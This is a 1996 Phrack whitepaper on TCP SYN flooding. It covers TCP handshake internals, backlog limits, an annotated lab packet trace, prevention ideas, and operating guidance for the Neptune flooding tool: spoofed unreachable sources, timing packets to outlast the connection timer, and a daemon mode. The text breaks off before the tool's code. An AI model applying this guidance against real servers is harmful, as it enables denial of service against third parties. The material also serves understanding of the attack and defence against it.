home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / p48_13.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  50.9 KB  |  1,365 lines
  1.                             ==Phrack Magazine==
  2.  
  3.              Volume Seven, Issue Forty-Eight, File 13 of 18
  4.  
  5.  
  6.                  [ Project Neptune ]
  7.  
  8.             by daemon9 / route / infinity
  9.                  for Phrack Magazine
  10.               July 1996 Guild Productions, kid
  11.  
  12.                comments to route@infonexus.com
  13.  
  14.  
  15.     This project is a comprehensive analysis of TCP SYN flooding.  You 
  16. may be wondering, why such a copious treatment of TCP SYN flooding?  
  17. Apparently, someone had to do it.  That someone turned out to be me (I need
  18. a real hobby).  The SYNflood Project consists of this whitepaper, including 
  19. anotated network monitor dumps and fully functional robust Linux sourcecode.
  20.  
  21.  
  22.         --[ Introduction ]--
  23.  
  24.  
  25.     TCP SYN flooding is a denial of service (DOS) attack.  Like most DOS
  26. attacks, it does not exploit a software bug, but rather a shortcoming in the
  27. implemenation of a particular protocol.  For example, mail bombing DOS attacks
  28. work because most SMTP agents are dumb and will accept whatever is sent their 
  29. way.  ICMP_ECHO floods exploit the fact that most kernels will simply reply to
  30. ICMP_ECHO request packets one after another, ad inifintum.  We will see that
  31. TCP SYN flood DOS attacks work because of the current implementation of TCP's
  32. connection establishment protocol.
  33.  
  34.  
  35.         --[ Overview  ]--
  36.  
  37.  
  38.     This whitepaper is intended as a complete introduction to TCP SYN 
  39. flooding (refered to hereafter as SYN flooding).  It will cover the attack
  40. in detail, including all relevant necessary background information.  It is 
  41. organized into sections:
  42.  
  43.     Section I.    TCP Background Information
  44.     Section II.    TCP Memory Structures and the Backlog
  45.     Section III.    TCP Input Processing
  46.     Section IV.    The Attack
  47.     Section V.    Network Trace
  48.     Section VI.    Neptune.c
  49.     Section VII.    Discussion and Prevention
  50.     Section VIII.    References
  51.  
  52. (Note that readers unfamiliar with the TCP/IP protocol suite may wish to first
  53. read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP-IP/tcipIp.intro.txt.gz)
  54.  
  55.  
  56.              --[ The Players ]--
  57.  
  58.  
  59.                 A:      Target host
  60.                 X:      Unreachable host 
  61.                 Z:      Attacking host
  62.          Z(x):    Attacker masquerading as the unreachable
  63.  
  64.  
  65.                 --[ The Figures ]--
  66.                 
  67.  
  68.                 There are a few network transaction  figures in the paper and
  69. they are to be interpreted as per the following example:
  70.  
  71.        tick   host a      control     host b
  72.  
  73. tick:   
  74.     A unit of time.  There is no distinction made as to *how* much time 
  75. passes between ticks, just that time passes.  It's generally not going to be
  76. a great deal. 
  77. host a: 
  78.     A machine particpating in a TCP-based conversation.
  79. control: 
  80.     This field shows any relevant control bits set in the TCP header and 
  81. the direction the data is flowing
  82. host b: 
  83.     A machine particpating in a TCP-based conversation.
  84.  
  85. For example:
  86.  
  87.         1       A       ---SYN--->      B       
  88.  
  89.     In this case, at the first refrenced point in time, host a is sending
  90. a TCP segment to host b with the SYN bit on.  Unless stated, we are generally 
  91. not concerned with the data portion of the TCP segment.
  92.  
  93.  
  94.  
  95.         Section I.    TCP Background Information
  96.  
  97.  
  98.  
  99.     TCP is a connection-oriented, reliable transport protocol.  TCP is
  100. responsible for hiding network intricacies from the upper layers.  A 
  101. connection-oriented protcol implies that the two hosts participating in a 
  102. discussion must first establish a connection before data may be exchanged.  In
  103. TCP's case, this is done with the three-way handshake.  Reliability can be 
  104. provided in a number of ways, but the only two we are concerned with are data 
  105. sequencing and acknowledgement.  TCP assigns sequence numbers to every byte in
  106. every segment and acknowledges all data bytes recieved from the other end.  
  107. (ACK's consume a sequence number, but are not themselves ACK'd.  That would be
  108. ludicris.)  
  109.  
  110.  
  111.                 --[ TCP Connection Establishment ]--
  112.  
  113.  
  114.      In order to exchange data using TCP, hosts must establish a connection.
  115. TCP establishes a connection in a 3 step process called the 3-way handshake.
  116. If machine A is running a client program and wishes to conect to a server
  117. program on machine B, the process is as follows:
  118.  
  119.                         fig(1)
  120.        
  121.         1       A       ---SYN--->      B       
  122.  
  123.         2       A    <---SYN/ACK---     B
  124.  
  125.         3       A       ---ACK--->      B
  126.  
  127.                                 
  128.     At (1) the client is telling the server that it wants a connection.
  129. This is the SYN flag's only purpose.  The client is telling the server that 
  130. the sequence number field is valid, and should be checked.  The client will 
  131. set the sequence number field in the TCP header to it's ISN (initial sequence
  132. number).  The server, upon receiving this segment (2) will respond with it's 
  133. own ISN (therefore the SYN flag is on) and an ACKnowledgement of the clients 
  134. first segment (which is the client's ISN+1).  The client then ACK's the 
  135. server's ISN (3).  Now data transfer may take place.
  136.  
  137.  
  138.               --[ TCP Control Flags  ]--
  139.  
  140.  
  141.     There are six TCP control flags.  We are only concerned with 3, but 
  142. the others are included for posterity:
  143.  
  144. *SYN:    Synchronize Sequence Numbers
  145.     The synchronize sequence numbers field is valid.  This flag is only 
  146. valid during the 3-way handshake.  It tells the receiving TCP to check the 
  147. sequence number field, and note it's value as the connection-initiator's 
  148. (usually the client) initial sequence number.  TCP sequence numbers can 
  149. simply be thought of as 32-bit counters.  They range from 0 to 4,294,967,295.
  150. Every byte of data exchanged across a TCP connection (along with certain 
  151. flags) is sequenced.  The sequence number field in the TCP header will contain
  152. the sequence number of the *first* byte of data in the TCP segment.  
  153.  
  154. *ACK:    Acknowledgement
  155.     The acknowledgement number field is valid.  This flag is almost always
  156. set.   The acknowledgement number field in the TCP header holds the value of 
  157. the next *expected* sequence number (from the other side), and also 
  158. acknowledges *all* data (from the other side) up through this ACK number minus
  159. one.
  160.  
  161. *RST:    Reset
  162.     Destroy the referenced connection.  All memory structures are torn 
  163. down.
  164.  
  165. URG:    Urgent 
  166.     The urgent pointer is valid.  This is TCP's way of implementing out
  167. of band (OOB) data.  For instance, in a telnet connection a `ctrl-c` on the 
  168. client side is considered urgent and will cause this flag to be set. 
  169.  
  170. PSH:    Push
  171.     The receiving TCP should not queue this data, but rather pass it to 
  172. the application as soon as possible.  This flag should always be set in 
  173. interactive connections, such as telnet and rlogin.
  174.  
  175. FIN:    Finish 
  176.     The sending TCP is finished transmitting data, but is still open to 
  177. accepting data.
  178.  
  179.  
  180.                 --[ Ports ]--
  181.                 
  182.     
  183.     To grant simultaneous access to the TCP module, TCP provides a user 
  184. interface called a port.  Ports are used by the kernel to identify network 
  185. processes.  They are strictly transport layer entities.  Together with an 
  186. IP address, a TCP port provides provides an endpoint for network 
  187. communications.  In fact, at any given moment *all* Internet connections can 
  188. be described by 4 numbers: the source IP address and source port and the 
  189. destination IP address and destination port.  Servers are bound to 
  190. 'well-known' ports so that they may be located on a standard port on 
  191. different systems.  For example, the telnet daemon sits on TCP port 23.
  192.     
  193.  
  194.  
  195.         Section II.    TCP Memory Structures and the Backlog
  196.  
  197.         
  198.  
  199.     For a copius treatment of the topic of SYN flooding, it is necessary
  200. to look at the memory structures that TCP creates when a client SYN arrives
  201. and the connection is pending (that is, a connection that is somewhere in 
  202. the process of the three-way handshake and TCP is in the SYN_SENT or 
  203. SYN_RVCD state).
  204.  
  205.  
  206.         --[ BSD ]--        
  207.  
  208.  
  209.     Under BSD style network code, for any given pending TCP connection 
  210. there are three memory structures that are allocated (we do not discuss the 
  211. process (proc) structure and file structure, but the reader should be aware 
  212. that they exist as well.):
  213.  
  214. Socket Structure (socket{}):     
  215.     Holds the information related to the local end of the communications 
  216. link: protocol used, state information, addressing information, connection 
  217. queues, buffers, and flags.
  218.  
  219. Internet Protocol Control Block Structure (inpcb{}):
  220.     PCB's are used at the transport layer by TCP (and UDP) to hold various
  221. pieces of information needed by TCP.  They hold: TCP state information, IP 
  222. address information, port numbers, IP header prototype and options and a 
  223. pointer to the routing table entry for the destination address.  PCB's are 
  224. created for a given TCP based server when the server calls listen(),
  225.  
  226. TCP Control Block Structure (tcpcb{}):
  227.     The TCP control block contains TCP specific information such as timer
  228. information, sequence number information, flow control status, and OOB data.
  229.  
  230.  
  231.         --[ Linux ]--
  232.  
  233.  
  234.     Linux uses a different scheme of memory allocation to hold network
  235. information.  The socket structure is still used, but instead of the pcb{} 
  236. and tcpcb{}, we have:
  237.  
  238. Sock Structure (sock{}):
  239.     Protocol specific information, most of the data structures are TCP
  240. related.  This is a huge structure.
  241.  
  242. SK Structure (sk_buff{}):
  243.     Holds more protocol specific information including packet header 
  244. information, also contains a sock{}.
  245.  
  246. According to Alan Cox:
  247.     The inode is the inode holding the socket (this may be a dummy inode 
  248. for non file system sockets like IP), the socket holds generic high level
  249. methods and the struct sock is the protocol specific object, although all but 
  250. a few experimental high performance items use the same generic struct sock and
  251. support code. That holds chains of linear buffers (struct sk_buff's).
  252.  
  253. [ struct inode -> struct socket -> struct sock -> chains of sk_buff's ]
  254.  
  255.  
  256.         --[ The Backlog Queue]--
  257.  
  258.     
  259.     These are large memory structures.  Every time a client SYN arrives
  260. on a valid port (a port where a TCP server is listen()ing), they must be 
  261. allocated.  If there were no limit, a busy host could easily exhuast all of
  262. it's memory just trying to process TCP connections.  (This would be an even
  263. simpler DOS attack.)  However, there is an upper limit to amount of 
  264. concurrent connection requests a given TCP can have outstanding for a 
  265. given socket.  This limit is the backlog and it is the length of the queue
  266. where incoming (as yet incomplete) connections are kept.  This queue limit 
  267. applies to both the number of imcomplete connections (the 3-way handshake has
  268. not been completed) and the number of completed connections that have not 
  269. been pulled from the queue by the application by way of the accept() call.
  270. If this backlog limit is reached, we will see that TCP will silently 
  271. discard all incoming connection requests until the pending connections can 
  272. be dealt with.  
  273.     The backlog is not a large value.  It does not have to be.  Normally
  274. TCP is quite expedient in connection establishment processing.  Even if a
  275. connection arrived while the queue was full, in all likelyhood, when the
  276. client retransmits it's connection request segment, the receiving TCP will
  277. have room again in it's queue.  Different TCP implementations have different
  278. backlog sizes.   Under BSD style networking code, there is also 'grace' margin 
  279. of 3/2.  That is, TCP will allow up to backlog*3/2+1 connections.  This will
  280. allow a socket one connection even if it calls listen with a backlog of 0.  
  281. Some common backlog values:
  282.                         fig(2)
  283.  
  284.    OS        Backlog      BL+Grace  Notes    
  285. ---------------------------------------------------------------------------
  286. SunOS 4.x.x:     5             8 
  287. IRIX 5.2:     5         8
  288. Solaris
  289. Linux 1.2.x:     10        10   Linux does not have this grace margin.
  290. FreeBSD 2.1.0:          32
  291. FreeBSD 2.1.5:           128
  292. Win NTs 3.5.1:     6         6   NT does not appear to have this margin.
  293. Win NTw 4.0:     6         6   NT has a pathetic backlog.
  294.  
  295.  
  296.  
  297.         Section III.    TCP Input Processing
  298.  
  299.  
  300.     
  301.     To see exactly where the attack works it is necessary to watch as 
  302. the receiving TCP processes an incoming segment.  The following is true for
  303. BSD style networking, and only processes relevant to this paper are 
  304. discussed.
  305.  
  306. A packet arrives and is demultiplexed up the protocol stack to TCP.  The TCP
  307. state is LISTEN:
  308.  
  309. Get header information:
  310.     TCP retrieves the TCP and IP headers and stores the information in
  311. memory.
  312. Verify the TCP checksum:
  313.     The standard Internet checksum is applied to the segment.  If it 
  314. fails, no ACK is sent, and the segment is dropped, assuming the client will
  315. retranmit it.
  316. Locate the PCB{}:
  317.     TCP locates the pcb{} associated with the connection.  If it is not
  318. found, TCP drops the segment and sends a RST.  (Aside: This is how TCP
  319. handles connections that arrive on ports with no server listen()ing.)  If
  320. the PCB{} exists, but the state is CLOSED, the server has not called 
  321. connect() or listen().  The segment is dropped, but no RST is sent.  The
  322. client is expected to retransmit it's connection request.  We will see this
  323. occurence when we discuss the 'Linux Anomaly'.
  324. Create new socket:
  325.     When a segment arrives for a listen()ing socket, a slave socket is
  326. created.  This is where a socket{}, tcpcb{}, and another pcb{} are created.
  327. TCP is not committed to the connection at this point, so a flag is set to
  328. cause TCP to drop the socket (and destroy the memory structures) if an
  329. error is encountered.  If the backlog limit is reached, TCP considers this 
  330. an error, and the connection is refused.  We will see that this is exactly 
  331. why the attack works.    Otherwise, the new socket's TCP state is LISTEN, and
  332. the completion of the passive open is attempted.
  333. Drop if RST, ACK, or no SYN:
  334.     If the segment contains a RST, it is dropped.  If it contains an
  335. ACK, it is dropped, a RST is sent and the memory structures torn down (the
  336. ACK makes no sense for the connection at this point, and is considered an
  337. error).  If the segment does not have the SYN bit on, it is dropped.  If
  338. the segment contains a SYN, processing continues.
  339. Address processing, etc:
  340.     TCP then gets the clients address information into a buffer and 
  341. connects it's pcb{} to the client, processes any TCP options, and 
  342. initializes it's initial send sequence (ISS) number.
  343. ACK the SYN:
  344.     TCP sends a SYN, ISS and an ACK to the client.  The connection
  345. establishment timer is set for 75 seconds at this point. The state changes 
  346. to SYN_RCVD.  Now. TCP is commited to the socket.  We will see that this 
  347. is state the target TCP will be in when in the throes of the attack because
  348. the expected client response is never received.  The state remains SYN_RCVD
  349. until the connection establishment timer expires, in which case the all the 
  350. memory structures associated with the connection are destroyed, and the
  351. socket returns to the LISTEN state.
  352.  
  353.         
  354.  
  355.         Section IV.    The Attack
  356.  
  357.  
  358.     
  359.     A TCP connection is initiated with a client issuing a request to a 
  360. server with the SYN flag on in the TCP header.  Normally the server will 
  361. issue a SYN/ACK back to the client identified by the 32-bit source address in 
  362. the IP header.  The client will then send an ACK to the server (as we 
  363. saw in figure 1 above) and data transfer can commence.  When the client IP 
  364. address is spoofed to be that of an unreachable, host, however, the targetted
  365. TCP cannot complete the 3-way handshake and will keep trying until it times 
  366. out.  That is the basis for the attack.
  367.     The attacking host sends a few (we saw that as little as 6 is 
  368. enough) SYN requests to the target TCP port (for example, the telnet daemon).
  369. The attacking host also must make sure that the source IP-address is spoofed 
  370. to be that of another, currently unreachable host (the target TCP will be 
  371. sending it's response to this address).  IP (by way of ICMP) will inform TCP 
  372. that the host is unreachable, but TCP considers these errors to be transient 
  373. and leaves the resolution of them up to IP (reroute the packets, etc) 
  374. effectively ignoring them.  The IP-address must be unreachable because the 
  375. attacker does not want *any* host to recieve the SYN/ACKs that will be coming 
  376. from the target TCP, which  would elicit a RST from that host (as we saw in
  377. TCP input above).  This would foil the attack.  The process is as follows:
  378.  
  379.             fig(3)
  380.  
  381.     1    Z(x)    ---SYN--->    A
  382.  
  383.         Z(x)    ---SYN--->    A
  384.  
  385.         Z(x)    ---SYN--->    A
  386.  
  387.         Z(x)    ---SYN--->    A
  388.  
  389.         Z(x)    ---SYN--->    A
  390.  
  391.         Z(x)    ---SYN--->    A
  392.  
  393.  
  394.     2    X    <---SYN/ACK---     A
  395.  
  396.         X    <---SYN/ACK---    A
  397.  
  398.             ...
  399.  
  400.     3    X      <---RST---    A
  401.  
  402.  
  403. At (1) the attacking host sends a multitude of SYN requests to the target 
  404. to fill it's backlog queue with pending connections.  (2) The target responds
  405. with SYN/ACKs to what it believes is the source of the incoming SYNs.  During
  406. this time all further requests to this TCP port will be ignored.  The target
  407. port is flooded.
  408.  
  409.  
  410.         --[ Linux Anomaly ]--
  411.  
  412.  
  413.     In doing my research for this project, I noticed a very strange
  414. implementation error in the TCP module of Linux.   When a particular TCP 
  415. server is flooded on a Linux host, strange things are afoot...  First, it 
  416. appears that the connection-establishment timer is broken.  The 10 spoofed 
  417. connection-requests keep the sockets in the SYN_RCVD state for just 
  418. over 20 minutes (23 minutesto be exact.  Wonder what the signifigance of 
  419. this is... Hmmm...).  Much longer than the 75-seconds it *should* be.  The 
  420. next oddity is even more odd... After that seemingly arbitrary time period
  421. (I have to determine what the hell is going on there), TCP moves the flooded
  422. sockets into the CLOSE state, where they *stay* until a connection-request
  423. arrives on a *different* port.  If a connection-request arrives on the 
  424. flooded port (now in the CLOSE state), it will not answer, acting as if it
  425. is still flooded.  After the connection-request arrives on a different port,
  426. the CLOSEd sockets will be destroyed, and the original flooded port will be
  427. free to answer requests again.  It seems as though the connection-request
  428. will spark the CLOSEd sockets into calling listen()...  Damn wierd if you ask
  429. me...
  430.      The implications of this are severe.  I have been able to completely
  431. disable all TCP based servers from answering requests indefinitely.  If all
  432. the TCP servers are flooded, there are none to recieve the valid connection
  433. request to alleviate the CLOSE state from the flooded connections.  Bad 
  434. news indeed. 
  435.     [Note: as of 7.15.96 this is a conundrum.  I have contacted Alan
  436. Cox and Eric Schenk and plan to work with them on a solution to this 
  437. problem.  I be forthcoming with all our findings as soon as possible.  I 
  438. believe the problem to perhaps lie (at least in part) in the 
  439. tcp_close_pending() function...  Or perhaps there is a logic error in how
  440. TCP switches between the connection-establishment timer and the 
  441. keep-alive timer.  They are both implemented using the same variable since
  442. they are mutally exclusive...]
  443.  
  444.  
  445.     
  446.  
  447.         Section V.    Network Trace
  448.  
  449.     
  450.  
  451.     The following is a network trace from an actual SYN flooding session.
  452. The target machine is Ash, a Linux 1.2.13 box.  The attacker is Onyx.  The
  453. network is a 10Mbps ethernet.
  454.  
  455. Network Monitor trace  Fri 07/12/96 10:23:34  Flood1.TXT
  456.  
  457. Frame   Time    Src MAC Addr   Dst MAC Addr   Protocol     Description                                                       Src Other Addr  Dst Other Addr  Type Other Addr
  458.  
  459. 1       2.519   onyx           ash            TCP/23       ....S., len:    4, seq:3580643269, ack:1380647758, win:  512, src 192.168.2.2     192.168.2.7     IP
  460. 2       2.520   ash            onyx           TCP/1510     .A..S., len:    4, seq: 659642873, ack:3580643270, win:14335, src 192.168.2.7     192.168.2.2     IP
  461. 3       2.520   onyx           ash            TCP/23       .A...., len:    0, seq:3580643270, ack: 659642874, win:14260, src 192.168.2.2     192.168.2.7     IP
  462.  
  463.     A telnet client is started on Onyx, and we see the standard 3-way 
  464.     handshake between the two hosts for the telnet session.
  465.  
  466. Lines 4-126 were interactive telnet traffic and added nothing to the 
  467. discussion.
  468.  
  469. 127     12.804  ash            onyx           TCP/1510     .A...F, len:    0, seq: 659643408, ack:3580643401, win:14335, src 192.168.2.7     192.168.2.2     IP
  470. 128     12.804  onyx           ash            TCP/23       .A...., len:    0, seq:3580643401, ack: 659643409, win:14322, src 192.168.2.2     192.168.2.7     IP
  471. 129     12.805  onyx           ash            TCP/23       .A...F, len:    0, seq:3580643401, ack: 659643409, win:14335, src 192.168.2.2     192.168.2.7     IP
  472. 130     12.805  ash            onyx           TCP/1510     .A...., len:    0, seq: 659643409, ack:3580643402, win:14334, src 192.168.2.7     192.168.2.2     IP
  473.  
  474.     Here we see the 4-way connection termination procedure.
  475.  
  476.     At this point, the flood program is started on onyx, the information
  477.     filled in, and the attack is launched. 
  478.     
  479. 131     42.251  onyx           *BROADCAST     ARP_RARP  ARP: Request, Target IP: 192.168.2.7                                                               
  480.  
  481.     Onyx is attempting to get ash's ethernet address using ARP.  
  482.     
  483. 132     42.251  ash            onyx           ARP_RARP  ARP: Reply, Target IP: 192.168.2.2 Target Hdwr Addr: 0020AF2311D7                                  
  484.  
  485.     Ash responds with it's ethernet address.
  486.  
  487. 133     42.252  onyx           ash            TCP/23       ....S., len:    0, seq:3364942082, ack:         0, win:  242, src 192.168.2.10    192.168.2.7     IP
  488.  
  489.     The flood begins.  Onyx sends the first of 10 TCP segments with the
  490.     SYN bit on, and the IP address spoofed to the telnet daemon.
  491.  
  492. 134     42.252  ash            *BROADCAST     ARP_RARP  ARP: Request, Target IP: 192.168.2.10                                                              
  493.  
  494.     Ash immediately attempts to resolve the ethernet address.  However,
  495.     since there is no such host on the network (and no router to proxy
  496.     the request with) the ARP request will not be answered.  The host,
  497.     is in effect, unreachable.
  498.  
  499. 135     42.271  onyx           ash            TCP/23       ....S., len:    0, seq:3381719298, ack:         0, win:  242, src 192.168.2.10    192.168.2.7     IP
  500. 136     42.291  onyx           ash            TCP/23       ....S., len:    0, seq:3398496514, ack:         0, win:  242, src 192.168.2.10    192.168.2.7     IP
  501. 137     42.311  onyx           ash            TCP/23       ....S., len:    0, seq:3415273730, ack:         0, win:  242, src 192.168.2.10    192.168.2.7     IP
  502. 138     42.331  onyx           ash            TCP/23       ....S., len:    0, seq:3432050946, ack:         0, win:  242, src 192.168.2.10    192.168.2.7     IP
  503. 139     42.351  onyx           ash            TCP/23       ....S., len:    0, seq:3448828162, ack:         0, win:  242, src 192.168.2.10    192.168.2.7     IP
  504. 140     42.371  onyx           ash            TCP/23       ....S., len:    0, seq:3465605378, ack:         0, win:  242, src 192.168.2.10    192.168.2.7     IP
  505. 141     42.391  onyx           ash            TCP/23       ....S., len:    0, seq:3482382594, ack:         0, win:  242, src 192.168.2.10    192.168.2.7     IP
  506. 142     42.411  onyx           ash            TCP/23       ....S., len:    0, seq:3499159810, ack:         0, win:  242, src 192.168.2.10    192.168.2.7     IP
  507. 143     42.431  onyx           ash            TCP/23       ....S., len:    0, seq:3515937026, ack:         0, win:  242, src 192.168.2.10    192.168.2.7     IP
  508.  
  509.     The next 9 of 10 SYNs.  The telnet daemon on ash is now flooded.
  510.     At this point, another telnet client is started on Onyx.
  511.  
  512. 144     47.227  onyx           *BROADCAST     ARP_RARP  ARP: Request, Target IP: 192.168.2.7                                                               
  513.  
  514.     Onyx is again attempting to get ash's ethernet address using ARP.
  515.     Hmmm, this entry should be in the arp cache.  I should look into 
  516.     this.  
  517.  
  518. 145     47.228  ash            onyx           ARP_RARP  ARP: Reply, Target IP: 192.168.2.2 Target Hdwr Addr: 0020AF2311D7                                  
  519.  
  520.     Here is the ARP reply.
  521.  
  522. 146     47.228  onyx           ash            TCP/23       ....S., len:    4, seq:3625358638, ack:         0, win:  512, src 192.168.2.2     192.168.2.7     IP
  523. 147     50.230  onyx           ash            TCP/23       ....S., len:    4, seq:3625358638, ack:         0, win:14335, src 192.168.2.2     192.168.2.7     IP
  524. 148     56.239  onyx           ash            TCP/23       ....S., len:    4, seq:3625358638, ack:         0, win:14335, src 192.168.2.2     192.168.2.7     IP
  525.  
  526.     Onyx is attempting to establish a connection with the telnet daemon
  527.     on Ash, which is, as we saw, flooded.
  528.  
  529. 149     67.251  ash            *BROADCAST     ARP_RARP  ARP: Request, Target IP: 192.168.2.10                                                              
  530.  
  531.     Ash is still trying to get the ethernet address of the spoofed host.
  532.     In vain...
  533.  
  534. 150     68.247  onyx           ash            TCP/23       ....S., len:    4, seq:3625358638, ack:         0, win:14335, src 192.168.2.2     192.168.2.7     IP
  535. 151     92.254  onyx           ash            TCP/23       ....S., len:    4, seq:3625358638, ack:         0, win:14335, src 192.168.2.2     192.168.2.7     IP
  536.  
  537.     Onyx is still transmitting it's connection-estabishment requests...
  538.     Also in vain.
  539.  
  540. 152     92.258  ash            *BROADCAST     ARP_RARP  ARP: Request, Target IP: 192.168.2.10                                                              
  541.  
  542.     Hello?  Are you out there?
  543.  
  544.  
  545.  
  546.         Section VI.    Neptune.c
  547.  
  548.  
  549.     
  550.     Neptune.c is the companion code.  It does everything we've talked 
  551. about, and more.  Neptune.c is admittedly more complex than it needs to 
  552. be.  I included several features that are not essential, but make the 
  553. program more robust.  The program features: simple to use menuing system, an 
  554. alternative command line interface for easy integration into scripts, 
  555. ICMP_ECHO requesting to query if unreachable is in fact unreachable (AKA 
  556. 'ping'ing), infinity mode (read the code) and a daemon mode with (psuedo) 
  557. random unreachable IP address choosing.
  558.  
  559.     The menu is really self explanatory...
  560.  
  561. 1        Enter target host
  562.  
  563. Enter yur target.  If you are confused at this point, kill yurself.
  564.  
  565. 2        Enter source (unreachable) host
  566.  
  567. Enter the puported sender.  It is integral that this host be routable but not
  568. reachable.  Remember that the address must be a unicast address.  If it is a
  569. broadcast or multicast address it will be dropped by the target TCP.
  570.  
  571. 3        Send ICMP_ECHO(s) to unreachable
  572.  
  573. Make sure that yur puported sender is in fact unreachable.  This is not 100%
  574. reliable as A) ICMP packets can be dropped by the unreliable network layer, 
  575. B) the host may filter out ICMP_ECHO packets.
  576.  
  577. 4        Enter port number to flood
  578.     
  579. The target port to flood.  There is an infinity switch.
  580.  
  581. 5        Enter number of SYNs
  582.     
  583. The number of SYNs to send.  Remember, this attack is not bandwidth hungry, 
  584. sending more packets than neccessary is totally useless.
  585.  
  586. 6        Quit
  587.     
  588. Bye, bye.
  589.  
  590. 7        Lanuch
  591.     
  592. Fire when ready.
  593.  
  594. 8        Daemonize (may or may not be implemented in yur version)
  595.  
  596. Puts the program in dameon mode.  It forks to the background and does it's 
  597. evilness there.  Needs two more options:  packet sending interval, and time 
  598. for daemon to live.  Recommended packet sending interval is at least every
  599. 90 seconds, depending on the target TCP.  80 should work fine, as the 
  600. connection establishment timer is 75 seconds.  Daemon lifetime is up to you.
  601. Be kind.  
  602.     Also the daemon portion includes routines to optionally make use
  603. of a file of unreachable IP addresses and (pseudo) randomly choose from 
  604. them.  The program reads the file and builds a dynamic array of these IP
  605. addresses in network byte order and then uses rand (seeded from the time of
  606. day in seconds --we don't need alot of entropy here, this isn't 
  607. cryptography--) to generate a number and then it mods that number by the 
  608. number of entries in the table to hash to a particular IP address. 
  609.  
  610.     Since the program opens raw sockets, it needs to run as root.  By
  611. default, it is installed SUID root in /usr/local/bin/neptune with the access
  612. list in /etc/sfaccess.conf.  The authentication mechanism works by checking 
  613. the usernames (via UID) of the attempted flooders.  It is not a complex 
  614. algorithm, and in fact the code is quite simple (asside:  If anyone can find 
  615. any security problems with the program being SUID root, --above the fact 
  616. that the program is admittedly evil-- I would love to hear about them).  Root 
  617. is the only entry the access file starts off with.
  618.     For the program to work, you need to remove the comment marks from 
  619. line 318 (the actual sendto() call where the forged datagrams are sent).  I 
  620. did that so the fools simply interested in causing trouble (and not interested
  621. in learning) would find the program mostly useless.
  622.  
  623.  
  624.  
  625.         Section VII.    Discussion and Prevention
  626.  
  627.  
  628.  
  629.     As we have seen, the attack works because TCP is attempting to do it's
  630. job of providing a reliable transport.  TCP must establish a connection first,
  631. and this is where the weakness lies.  (T/TCP is immune to this attack via TAO.
  632. See my future paper: `The Next Generation Internet` for information on T/TCP
  633. and IPng.)  Under normal circumstances, assuming well-behaved networking 
  634. software, the worst that can happen is a TCP-based server may be wrapped up in 
  635. legimate connection-establishment processing and a few clients may have to 
  636. retransmit thier SYNs.  But, a misbegotten client program can exploit this 
  637. connection-establishment weakness and down a TCP-based server with only a few
  638. doctored segments.  
  639.     The fact that SYN flooding requires such a small amount of network 
  640. traffic to be so effective is important to note.  Consider other network
  641. DOS attacks such as ICMP_ECHO floods (ping floods), mail bombs, mass mailing 
  642. list subscriptions, etc...  To be effective, all of these attacks require 
  643. an attacker to transmit volumous amounts of network traffic.  Not only does
  644. this make these attacks more noticable on both ends by decreasing the amount 
  645. of available bandwidth (as such, often these attacks are waged from compromised 
  646. machines) but it also adds to the general traffic problems of the Internet.
  647. SYN flooding can be deadly effective with as little as 360 packets/hour.
  648.     
  649.  
  650.         --[ Prevention ]--
  651.  
  652.  
  653.     Ok, so how do we stop it?  Good question.  
  654.  
  655.  
  656.         --[ TCPd ]--
  657.  
  658.  
  659.     TCP wrappers are almost useless.  The magic they do is based on the 
  660. validity of the source IP-address of incoming datagrams.  As we know, this can
  661. be spoofed to whatever the attacker desires.  Unless the target has denied 
  662. traffic from *everywhere* except known hosts, TCP wrappers will not save you.
  663.  
  664.  
  665.         --[ Increase the Backlog ]--
  666.  
  667.  
  668.     Increasing the default backlog is not much of a solution.  In 
  669. comparision with the difficulty of an attacker simply sending more packets,
  670. the memory requirements of the additional connection-establishment structures
  671. is prohibitively expensive.  At best it is an obfuscative (word check...?)
  672. measure.
  673.  
  674.  
  675.         --[ Packet Filtering ]--
  676.         
  677.  
  678.     A smart packet filter (or kernel modification) of some kind may be 
  679. a viable solution.  Briefly:
  680.  
  681. - Host keeps a recent log of incoming packets with the `SYN` bit on in a 
  682. linked list structure.
  683. - The linked list cannot be permitted to grow without bound (another DOS
  684. attack would present itself)
  685. - When x amount of SYNs are received on a socket, certain characteristics
  686. about the packets are compared, (Source port, source IP address, sequence
  687. numbers, window size, etc) and if things seem fishy, the connection
  688. requests and associated memory structures are immediately destroyed.
  689.  
  690.  
  691.  
  692.         Section VIII.    References
  693.  
  694.  
  695.  
  696.         Ppl:    A. Cox, R. Stevens
  697.         Books:    TCP Illustrated vols II,III
  698.         
  699.  
  700.  
  701. This project made possible by a grant from the Guild Corporation.
  702.  
  703. EOF
  704.  
  705.  
  706. ------------------------8<--------------------------------------------
  707.  
  708.  
  709. # Neptune Makefile
  710. # daemon9, 1996 Guild Productions
  711.  
  712. all:
  713.     @gcc -o neptune neptune.c
  714.     @echo ""
  715.     @echo "'make install' will install the program..."
  716.     @echo ""
  717.     @echo "Warning!  Neptune is installed SUID root by default!"
  718.     @echo ""
  719.     @echo "route@infonexus.com / Guild Corporation"
  720. install:
  721.     strip ./neptune
  722.     mv ./neptune /usr/local/bin/neptune
  723.     chmod 4755 /usr/local/bin/neptune
  724.     @echo "root" > /etc/sfaccess.conf
  725.     @echo "Installation complete, access list is /etc/sfaccess.conf"
  726. clean: 
  727.     @rm -f *.o neptune /etc/sfaccess.conf
  728.  
  729.  
  730. ------------------------8<--------------------------------------------
  731.  
  732.  
  733. /*
  734.                     Neptune
  735.                     v. 1.5
  736.  
  737.             daemon9/route/infinity
  738.  
  739.               June 1996 Guild productions
  740.  
  741.                  comments to daemon9@netcom.com
  742.     
  743.     If you found this code alone, without the companion whitepaper
  744.     please get the real-deal:
  745. ftp.infonexus.com/pub/SourceAndShell/Guild/Route/Projects/Neptune/neptune.tgz
  746.     
  747. Brief synopsis:
  748.     Floods the target host with TCP segments with the SYN bit on,
  749.     puportedly from an unreachable host.  The return address in the 
  750.     IP header is forged to be that of a known unreachable host.  The
  751.     attacked TCP, if flooded sufficently, will be unable to respond
  752.     to futher connects.  See the accompanying whitepaper for a full 
  753.     treatment of the topic.  (Also see my paper on IP-spoofing for
  754.     information on a related subject.)
  755.  
  756. Usage:
  757.     Figure it out, kid.  Menu is default action.  Command line usage is
  758.     available for easy integration into shell scripts.  If you can't
  759.     figure out an unreachable host, the program will not work.
  760.  
  761. Gripes: 
